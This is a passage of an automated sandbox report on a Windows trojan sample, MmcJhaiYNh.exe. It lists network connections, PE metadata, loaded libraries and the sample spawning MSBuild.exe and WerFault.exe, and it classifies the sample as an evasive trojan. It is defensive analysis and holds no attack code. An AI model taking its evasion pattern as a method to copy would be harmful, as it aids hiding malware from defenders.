Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443

Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.10:49846 version: TLS 1.2

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00852021	0_2_00852021
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0085729C	0_2_0085729C
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0086D39B	0_2_0086D39B
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0086572C	0_2_0086572C
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_008A094F	0_2_008A094F
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0085CAF2	0_2_0085CAF2
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0086BB36	0_2_0086BB36
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00863C92	0_2_00863C92
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00851D79	0_2_00851D79
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_0085FEF0	0_2_0085FEF0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 004045C0 appears 317 times
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: String function: 00857B80 appears 49 times

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 248

Source: MmcJhaiYNh.exe, 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameproquota.exej% vs MmcJhaiYNh.exe
Source: MmcJhaiYNh.exe	Binary or memory string: OriginalFilenameproquota.exej% vs MmcJhaiYNh.exe

Source: MmcJhaiYNh.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: MmcJhaiYNh.exe

Static PE information: Section: .data ZLIB complexity 0.990015625

Source: classification engine

Classification label: mal100.troj.evad.winEXE@6/5@0/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\Z19A8FPV.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7676

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\782417d7-f705-4315-957a-834fd41df378

Jump to behavior

Source: MmcJhaiYNh.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: MmcJhaiYNh.exe

Virustotal: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\MmcJhaiYNh.exe "C:\Users\user\Desktop\MmcJhaiYNh.exe"
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 248
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: MmcJhaiYNh.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: MmcJhaiYNh.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: MmcJhaiYNh.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: MmcJhaiYNh.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: MmcJhaiYNh.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: MmcJhaiYNh.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: MmcJhaiYNh.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: MmcJhaiYNh.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: MmcJhaiYNh.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: MmcJhaiYNh.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: MmcJhaiYNh.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: MmcJhaiYNh.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: MmcJhaiYNh.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_0041C03D LoadLibraryW,GetProcAddress,GetProcAddress,EncodePointer,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

3_2_0041C03D

Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_008571AD push ecx; ret	0_2_008571C0
Source: C:\Users\user\Desktop\MmcJhaiYNh.exe	Code function: 0_2_00897F0D push ecx; ret	0_2_00897F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0041B035 push ecx; ret	3_2_0041B048

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
